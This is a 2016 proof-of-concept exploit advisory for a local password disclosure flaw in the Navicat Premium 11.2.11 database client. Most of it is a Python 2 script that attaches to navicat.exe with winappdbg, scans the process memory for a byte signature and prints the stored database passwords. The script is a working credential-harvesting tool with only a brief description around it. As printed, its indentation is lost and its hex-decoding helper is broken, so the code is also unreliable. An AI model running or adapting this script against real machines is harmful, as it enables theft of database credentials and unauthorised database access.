#####

# Navicat Premium 11.2.11 (64bit) Local Password Disclosure

# Tested on Windows Windows Server 2012 R2 64bit, English

# Vendor Homepage @ https://www.navicat.com/

# Date 05/09/2016

# Bug Discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)

#

# http://www.black-rose.ml

#

# Special Thanks & Greetings to friend of mine Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/)

#####

# Navicat Premium client v11.2.11 is vulnerable to local password disclosure, the supplied password is stored in a plaintext format in memory process.

# A potential attacker could reveal the supplied password in order to gain access to the database.

# Proof-Of-Concept Code:

#####

import time

from winappdbg import Debug, Process

count = 0

found = 0

filename = "navicat.exe"

process_pid = 0

memory_dump = []

def b2h(str):

return ''.join(["%02X " % ord(x) for x in str]).strip()

def h2b(str):

return ''.join(bytes)

debug = Debug()

try:

print "[~] Searching for pid by process name '%s'.." % (filename)

time.sleep(1)

debug.system.scan_processes()

for (process, process_name) in debug.system.find_processes_by_filename(filename):

process_pid = process.get_pid()

if process_pid is not 0:

print "[+] Found process with pid #%d" % (process_pid)

time.sleep(1)

print "[~] Trying to read memory for pid #%d" % (process_pid)

process = Process(process_pid)

for address in process.search_bytes('\x00\x90\x18\x00\x00\x00\x00\x00\x00\x00'):

memory_dump.append(process.read(address,30))

memory_dump.pop(0)

for i in range(len(memory_dump)):

str = b2h(memory_dump[i])

first = str.split("00 90 18 00 00 00 00 00 00 00 ")[1]

last = first.split("00 ")

if last[0]:

count = count+1

found = 1

print "[+] Password for connection #%d found as %s" % (count, h2b(last[0]))

if found == 0:

print "[-] Password not found! Make sure the client is connected at least to one database."

else:

print "[-] No process found with name '%s'." % (filename)

debug.loop()

finally:

debug.stop()